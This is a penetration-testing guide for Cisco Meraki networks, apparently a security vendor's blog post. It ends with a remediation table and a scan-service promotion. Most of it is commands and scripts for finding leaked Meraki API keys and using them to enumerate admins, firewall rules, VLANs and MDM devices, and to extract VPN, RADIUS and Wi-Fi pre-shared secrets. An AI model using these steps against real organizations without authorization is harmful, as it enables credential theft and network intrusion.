Cisco Meraki is the dominant cloud-managed networking platform in the SMB and mid-market, with millions of MX security appliances, MS switches, MR access points, and MV cameras managed through a single cloud dashboard. This unique architecture means a single API key can provide visibility and control over an entire organization's network infrastructure. This guide covers authorized penetration testing of Meraki environments: Dashboard API key extraction, organization enumeration, client VPN credential harvesting, Systems Manager MDM exploitation, and network topology mapping through the Meraki cloud API.
Meraki's cloud-managed model creates a fundamentally different attack surface compared to traditional on-premises network equipment:
dashboard.meraki.com), making API key theft the primary attack vector.# Identify Meraki devices on a network
nmap -sV -p 443,7351 192.168.1.0/24 # 7351 is Meraki auto-VPN
# Meraki device MAC address prefix identification
# Meraki MAC prefixes: 0C:8D:DB, E0:55:3D, 00:18:0A, B4:A9:4F, 88:15:44, 34:56:FE
arp-scan 192.168.1.0/24 | grep -iE "00:18:0a|b4:a9:4f|88:15:44|34:56:fe|0c:8d:db|e0:55:3d"
# Meraki systems phone home to n[number].meraki.com for management
# Identify Meraki cloud management domain from DNS queries
tcpdump -i eth0 -n 'port 53' | grep -i "meraki\|cisco"
# The Meraki Dashboard URL often reveals org/network structure
# Example: https://n180.meraki.com/#!/login (n-number = shard)
# Admin logins redirect to shard-specific URL
# If you have access to a corporate workstation — search for cached API keys
find /home /Users /root -name ".meraki" -o -name "meraki.conf" 2>/dev/null
grep -r "meraki" ~/.bash_history ~/.zsh_history 2>/dev/null
env | grep -i "MERAKI\|API_KEY"
Meraki Dashboard API keys are 40-character hexadecimal strings. They appear in source code, CI/CD configurations, environment variables, and developer tooling. The blast radius of a leaked API key is enormous — it grants full administrative access to all networks in the organization.
# Search GitHub/GitLab for exposed Meraki API keys
# GitHub dorking
site:github.com "meraki" "X-Cisco-Meraki-API-Key"
site:github.com "meraki_api_key"
site:github.com filename:.env "MERAKI"
# GitLeaks / TruffleHog scan for Meraki API keys in repos
gitleaks detect --source . --config meraki-gitleaks.toml
# Custom regex for Meraki API keys (40 hex chars in context)
grep -rE "(meraki|MERAKI)[^=]*=\s*['\"]?[0-9a-f]{40}['\"]?" . 2>/dev/null
grep -rE "X-Cisco-Meraki-API-Key[^=]*:\s*[0-9a-f]{40}" . 2>/dev/null
# AWS S3 / Secrets Manager scan for exposed Meraki keys
aws s3api list-buckets --query 'Buckets[].Name' --output text | while read bucket; do
aws s3 ls "s3://$bucket" --recursive 2>/dev/null | grep -i "meraki\|network"
done
# Check common locations on a compromised developer workstation
cat ~/.config/meraki/credentials
cat ~/meraki_api_key.txt
grep -r "meraki" ~/Documents ~/Desktop 2>/dev/null | grep -i "key\|token\|api"
# Ansible/Terraform/Chef/Puppet configurations
find / -name "*.yml" -o -name "*.yaml" -o -name "*.tf" 2>/dev/null | xargs grep -l "meraki" 2>/dev/null
# Validate a Meraki API key — check if it works and get org info
API_KEY="your-40-char-hex-key-here"
curl -s "https://api.meraki.com/api/v1/organizations" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" \
-H "Accept: application/json" | python3 -m json.tool
# Successful response includes org name, ID, tier, and license information
# Example: {"id": "123456", "name": "Acme Corp", "url": "https://n180.meraki.com/..."}
API_KEY="your-api-key"
ORG_ID="your-org-id"
# Full organization inventory
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# List all networks in the organization
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/networks" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
networks = json.load(sys.stdin)
for n in networks:
print(f'{n[\"id\"]}: {n[\"name\"]} ({n[\"productTypes\"]})')
"
# List all devices across all networks
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/devices" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
devices = json.load(sys.stdin)
for d in devices:
print(f'{d[\"model\"]} | {d[\"name\"]} | {d[\"lanIp\"]} | {d[\"serial\"]}')
"
# List all admin users and their access levels
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/admins" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
admins = json.load(sys.stdin)
for a in admins:
print(f'{a[\"email\"]} | {a[\"name\"]} | OrgAccess: {a[\"orgAccess\"]}')
"
# Get license status — reveals organization size and product mix
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/licenses/overview" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# Organizations may use SAML SSO — check IdP configuration
# If SAML is misconfigured, it may allow IdP bypass
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/saml" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# SAML roles — defines what groups/roles in the IdP get what Meraki access
curl -s "https://api.meraki.com/api/v1/organizations/$ORG_ID/samlRoles" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
NET_ID="your-network-id"
# Get MX firewall rules — reveals allowed traffic paths
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/firewall/l3FirewallRules" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# L7 (application-level) firewall rules
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/firewall/l7FirewallRules" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# Content filtering categories — identify gaps in content policy
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/contentFiltering" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# VLANs and subnets — critical for network topology understanding
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vlans" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
vlans = json.load(sys.stdin)
for v in vlans:
print(f'VLAN {v[\"id\"]}: {v[\"name\"]} - {v[\"subnet\"]} (GW: {v[\"applianceIp\"]})')
"
# DHCP reservations — maps hostnames/MACs to IPs
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vlans" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
vlans = json.load(sys.stdin)
for v in vlans:
for r in v.get('reservedIpRanges', []):
print(f'{r[\"start\"]} - {r[\"end\"]}: {r.get(\"comment\",\"\")}')
for fixed in v.get('fixedIpAssignments', {}).items():
print(f'MAC {fixed[0]}: IP {fixed[1][\"ip\"]} ({fixed[1].get(\"name\",\"\")})')
"
Meraki MX appliances provide Client VPN via L2TP/IPsec or Cisco AnyConnect. VPN credentials and PSKs are accessible via the Dashboard API.
# Get Client VPN configuration including PSK
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/siteToSiteVpn" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# Client VPN settings — includes pre-shared key for L2TP
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/clientVpn" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
data = json.load(sys.stdin)
print('PSK:', data.get('secret', 'N/A'))
print('Auth:', data.get('authenticationMode', 'N/A'))
print('RADIUS servers:', data.get('radiusServers', []))
"
# Note: The L2TP PSK is returned in plaintext via the API
# This PSK authenticates ALL VPN connections to this network
# Any user with the PSK + valid AD credentials can connect
# RADIUS server configuration (including shared secret)
# RADIUS secrets are sometimes returned via the API in orgs with weaker ACLs
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/clientVpn" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
data = json.load(sys.stdin)
for r in data.get('radiusServers', []):
print(f'RADIUS: {r[\"host\"]}:{r[\"port\"]} - Secret: {r.get(\"secret\", \"[hidden]\")}')
"
# Site-to-site VPN hubs and spokes — reveals connected branch offices
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/appliance/vpn/siteToSiteVpn" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
Meraki Systems Manager is a Mobile Device Management (MDM) platform. If the organization uses Systems Manager, the API provides access to all enrolled devices, installed applications, network profiles, and the ability to send commands to devices.
# List all enrolled devices in Systems Manager
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
devices = json.load(sys.stdin)
for d in devices:
print(f'{d.get(\"name\",\"?\")} | {d.get(\"osName\",\"?\")} | {d.get(\"ip\",\"?\")} | User: {d.get(\"username\",\"?\")}')
"
# Get device details — includes installed apps, network profiles, certificates
DEVICE_ID="device-serial-or-id"
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/deviceProfiles" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# List installed applications on a device
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/installedApps" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
apps = json.load(sys.stdin)
for a in apps:
print(f'{a.get(\"name\",\"?\")} v{a.get(\"version\",\"?\")} - {a.get(\"bundleSize\",0)} bytes')
"
# Network profiles pushed to devices — may contain Wi-Fi PSKs, VPN configs, certificates
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/devices/$DEVICE_ID/networkAdapters" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# Wi-Fi credentials in MDM profiles — PSKs pushed to corporate devices
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/sm/profiles" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
profiles = json.load(sys.stdin)
for p in profiles:
print(f'{p.get(\"name\",\"?\")} | Type: {p.get(\"profileType\",\"?\")} | Devices: {p.get(\"deviceCount\",0)}')
"
# Get all SSIDs for a network — includes PSKs for WPA2-Personal networks
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/wireless/ssids" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
ssids = json.load(sys.stdin)
for s in ssids:
if s.get('enabled'):
psk = s.get('psk', '[enterprise auth]')
print(f'SSID {s[\"number\"]}: {s[\"name\"]} | Auth: {s[\"authMode\"]} | PSK: {psk}')
"
# Rogue AP detection — see what unknown APs are detected
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/wireless/airMarshal" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -m json.tool
# Client list — all connected Wi-Fi clients with MAC, IP, VLAN
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/clients" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
clients = json.load(sys.stdin)
for c in clients:
print(f'{c.get(\"description\",\"?\")} | {c.get(\"ip\",\"?\")} | MAC: {c.get(\"mac\",\"?\")} | VLAN: {c.get(\"vlan\",\"?\")}')
"
# Get switch port configurations — check for 802.1X status
curl -s "https://api.meraki.com/api/v1/devices/$DEVICE_SERIAL/switch/ports" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
ports = json.load(sys.stdin)
for p in ports:
dot1x = p.get('accessPolicyType', 'none')
print(f'Port {p[\"portId\"]}: VLAN {p.get(\"vlan\",\"?\")} | 802.1X: {dot1x} | PoE: {p.get(\"poeEnabled\",False)}')
"
# 802.1X access policy configuration — RADIUS server settings
curl -s "https://api.meraki.com/api/v1/networks/$NET_ID/switch/accessPolicies" \
-H "X-Cisco-Meraki-API-Key: $API_KEY" | python3 -c "
import json, sys
policies = json.load(sys.stdin)
for p in policies:
print(f'Policy {p[\"accessPolicyNumber\"]}: {p[\"name\"]}')
for r in p.get('radiusServers', []):
print(f' RADIUS: {r[\"host\"]}:{r[\"port\"]} secret:{r.get(\"secret\",\"[hidden]\")}')
"
# Complete network topology from Meraki API
# This provides a full map of the organization's network infrastructure
python3 << 'EOF'
import requests, json
API_KEY = "your-api-key"
HEADERS = {"X-Cisco-Meraki-API-Key": API_KEY, "Accept": "application/json"}
# Get all organizations
orgs = requests.get("https://api.meraki.com/api/v1/organizations", headers=HEADERS).json()
for org in orgs:
print(f"\n=== Organization: {org['name']} ({org['id']}) ===")
# Networks
networks = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/networks", headers=HEADERS).json()
print(f" Networks: {len(networks)}")
# All devices
devices = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/devices", headers=HEADERS).json()
device_types = {}
for d in devices:
model = d['model'][:2] # MX, MS, MR, MV, MT, etc.
device_types[model] = device_types.get(model, 0) + 1
print(f" Devices: {device_types}")
# Uplinks status — reveals public IP addresses
uplinks = requests.get(f"https://api.meraki.com/api/v1/organizations/{org['id']}/appliance/uplink/statuses", headers=HEADERS).json()
for u in uplinks:
for ul in u.get('uplinks', []):
if ul.get('publicIp'):
print(f" Public IP: {ul['publicIp']} ({u.get('networkId','')})")
EOF
| Finding | Remediation | Priority |
|---|---|---|
| API key exposed in code/env | Revoke immediately; rotate; use per-application scoped API keys; store in secrets manager | Critical |
| Single shared API key | Create separate API keys per integration; use read-only keys where write access isn't needed | High |
| No MFA on Dashboard accounts | Enforce MFA for all Dashboard admin accounts; use SAML SSO with MFA | Critical |
| Client VPN PSK disclosed via API | Use RADIUS/AD authentication instead of PSK; rotate PSK regularly | High |
| Wi-Fi PSK in MDM profiles | Use WPA2-Enterprise (802.1X) instead of PSK networks; individual device certificates | High |
| RADIUS secrets accessible via API | Restrict API key scope; review what API keys have access to VPN/RADIUS configuration | High |
| Unrestricted API access | Enable API IP allowlisting; restrict to specific source IPs only | High |
| No Dashboard audit logging | Enable and review Dashboard audit logs; alert on API key usage from new IPs | Medium |
| Overprivileged admin accounts | Use network-scoped admins rather than org-wide; principle of least privilege | Medium |
| MDM profile contains credentials | Replace PSK-based profiles with certificate-based EAP-TLS; use SCEP for cert enrollment | High |
Ironimo's scanning platform helps identify API key exposures, misconfigured network policies, and credential risks in cloud-managed network environments — giving you a complete picture of your Meraki attack surface before an attacker exploits it.
Start free scan